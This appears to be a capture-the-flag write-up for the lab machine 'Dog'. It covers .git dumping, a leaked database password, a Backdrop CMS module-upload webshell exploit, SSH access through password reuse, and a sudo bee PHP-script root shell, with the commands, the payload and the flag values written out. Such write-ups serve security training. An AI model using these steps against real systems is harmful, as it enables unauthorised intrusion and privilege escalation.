Dog¶

Initial Scan¶

Discovered open port 22/tcp on 10.10.11.58
Discovered open port 80/tcp on 10.10.11.58

Port 22 is SSH, port 80 is HTTP.

Enumeration¶

The web server runs Backdrop CMS version 1.27.1. A file at http://10.10.11.58/files/shell.tar leaks the CMS version information.

The .git directory is exposed. Using git_dumper to extract it:

git-dumper http://10.10.11.58/.git/ output/

From the dumped files, we find credentials in settings.php and update configuration:

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';

Email found: tiffany@dog.htb

Credential: tiffany@dog.htb:BackDropJ2024DS2024

Exploitation¶

Backdrop CMS Module Upload RCE¶

Using Exploit-DB 52021, we upload a malicious Backdrop CMS module to get a shell as www-data.

Database Enumeration¶

Query the users table through the uploaded webshell:

mysql -u root -pBackDropJ2024DS2024 -e "SELECT * FROM users" backdrop

Password Reuse¶

The MySQL password BackDropJ2024DS2024 works for SSH as johncusack:

ssh johncusack@10.10.11.58
# password: BackDropJ2024DS2024

Privilege Escalation¶

sudo -l

johncusack can run /usr/local/bin/bee as root. The bee binary is a PHP CLI tool for Backdrop CMS:

ls -la /usr/local/bin/bee
# lrwxrwxrwx 1 root root 26 Jul  9  2024 /usr/local/bin/bee -> /backdrop_tool/bee/bee.php

The bee tool supports executing PHP scripts via the php-script command. Create a payload:

<?php
system('/bin/bash');
?>

sudo /usr/local/bin/bee --root=/var/www/html php-script /tmp/privesc.php

This drops a root shell.

Flags¶

user.txt: 781fc02a7521ecab978aae1635f3f097 root.txt: 83d741ce5e844bf3dd2e6b68e72405e6